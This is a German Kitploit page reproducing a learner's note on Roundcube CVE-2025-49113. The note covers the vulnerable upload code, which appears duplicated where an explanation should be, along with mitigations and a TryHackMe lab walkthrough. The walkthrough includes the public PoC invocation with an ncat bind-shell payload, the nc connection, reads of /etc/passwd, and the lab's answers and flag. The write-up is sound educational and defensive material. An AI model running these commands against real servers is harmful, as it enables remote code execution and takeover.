Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
SchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Erklärung + Lab auf THM

vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

RCE in Roundcube (CVE-2025-49113) - Meine Obsidian-Notiz .md

{{date}} {{time}}

Status: Abgeschlossen

Lab: Einfach

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

von KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Auswirkung: Remote-Befehlsausführung nach Login (CVSS 9.9)
Betroffene Versionen: ≤ 1.5.10 / 1.6.10
Patched: 1.5.11 und 1.6.11


1 – Zeitleiste

DatumEreignis
~2014Einführung der Route program/actions/settings/upload.php mit Verwendung von session->append() ohne Validierung.
03. Juni 2025Forscher von @FearsOff veröffentlichen das Advisory und kündigen PoC an.
04. Juni 2025Roundcube wendet Commit 0376f69 (1.6-stable) und Commit 7408f31 (1.5-lts) an.
06. Juni 2025PoC auf GitHub veröffentlicht. (fearsoff-org/CVE-2025-49113)
10. Juni 2025Massenausnutzung.

2 – Wo lag das Problem

Angreifbarer Code (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … weiter unten
$rcmail->session->append($type . '.files', $id, $attachment);

Die Eingabe _from kommt vollständig vom GET, wird dann Teil des Namens eines Knotens in der Sitzung und
während des ersten append() macht Roundcube:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … weiter unten

$rcmail->session->append($type . '.files', $id, $attachment);

Wenn die Datei existiert, hat der RCE funktioniert.


3 – Abschwächungen

  1. Aktualisieren Sie sofort auf ≥ 1.6.11 oder ≥ 1.5.11.

  2. Falls Sie nicht aktualisieren können, blockieren Sie jedes _from, das %22, %7C, !, . oder Kontrollbytes enthält, über WAF, Firewall oder Rewrite.

  3. Deaktivieren Sie gefährliche Funktionen (proc_open, exec, etc.) in der php.ini.

  4. Blockieren Sie Uploads im Einstellungsbereich und überwachen Sie Logs.


4 - Lab - TryHackme - Bericht

Free Room: https://tryhackme.com/room/roundcubecve202549113

Created by tryhackme & strategos

1. Aufklärung

  1. VM (MACHINE_IP) und AttackBox öffnen.

  2. Zugriff auf http://MACHINE_IP/roundcube mit:

    Benutzer: ellieptic Passwort: ChangeMe123

    Das funktioniert und meldet sich normal an:

    Login-Bildschirm


2. Exploit vorbereiten

Nachdem überprüft wurde, dass alles läuft, führen wir den Exploit aus. Dazu greifen wir auf die zuvor erwähnte PoC auf GitHub zu und klonen sie:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Payload vorbereiten

Die Verwendung des Payloads ist einfach: Erstellen Sie die Bind-Shell und zeigen Sie auf einen Port mit der .php-Datei gemäß der folgenden Verwendung:

php CVE-2025-49113.php <site> <user> <passwort> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– Das Skript meldet sich an, injiziert das schädliche PHP-Objekt in den Parameter _from, wie zuvor besprochen, ruft den Endpunkt upload.php auf und erzwingt dann das Abmelden, um
session_decode() → unserialize() → proc_open() auszulösen.

Manchmal zeigt es einen CSRF-Fehler; ignorieren Sie ihn und fahren Sie mit dem nächsten Schritt fort,
weil der Befehl normalerweise trotzdem ausgeführt wurde.

exploit


4. Mit der Shell verbinden

Wenn die Bind-Shell funktioniert hat, hört sie auf dem von uns angegebenen Port 1337, wir müssen uns jetzt nur noch damit verbinden:

nc MACHINE_IP 1337

Shell erhalten.

shell


5. Beantworten der Fragen

Fragen und Antworten

  1. Benutzerin Maggie
    Frage: Einer der Benutzer hat den Vornamen Maggie. Wie lautet ihr Nachname?
    Antwort: Byte

Um diese Frage zu lösen, könnten wir einen cat in /etc/passwd machen und nach dem Benutzer von Maggie greppen, oder einfach ein ls in /home ausführen.

1

  1. Flag in /etc
    Frage: Wie lautet der Wert der in /etc gespeicherten Flagge?
    Antwort: THM{ICE_CUBE_DESERIALISATION}

Um das zu lösen, habe ich cat /etc/flag* ausgeführt und glücklicherweise hieß die Datei flag, sodass wir sie erfassen konnten.

2


5 – Referenzen

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff-Bericht – https://fearsoff.org/research/roundcube

  • OffSec-Blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme – TryHackMe | Roundcube: CVE-2025-49113

  • GHSA-Advise – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Tool herunterladen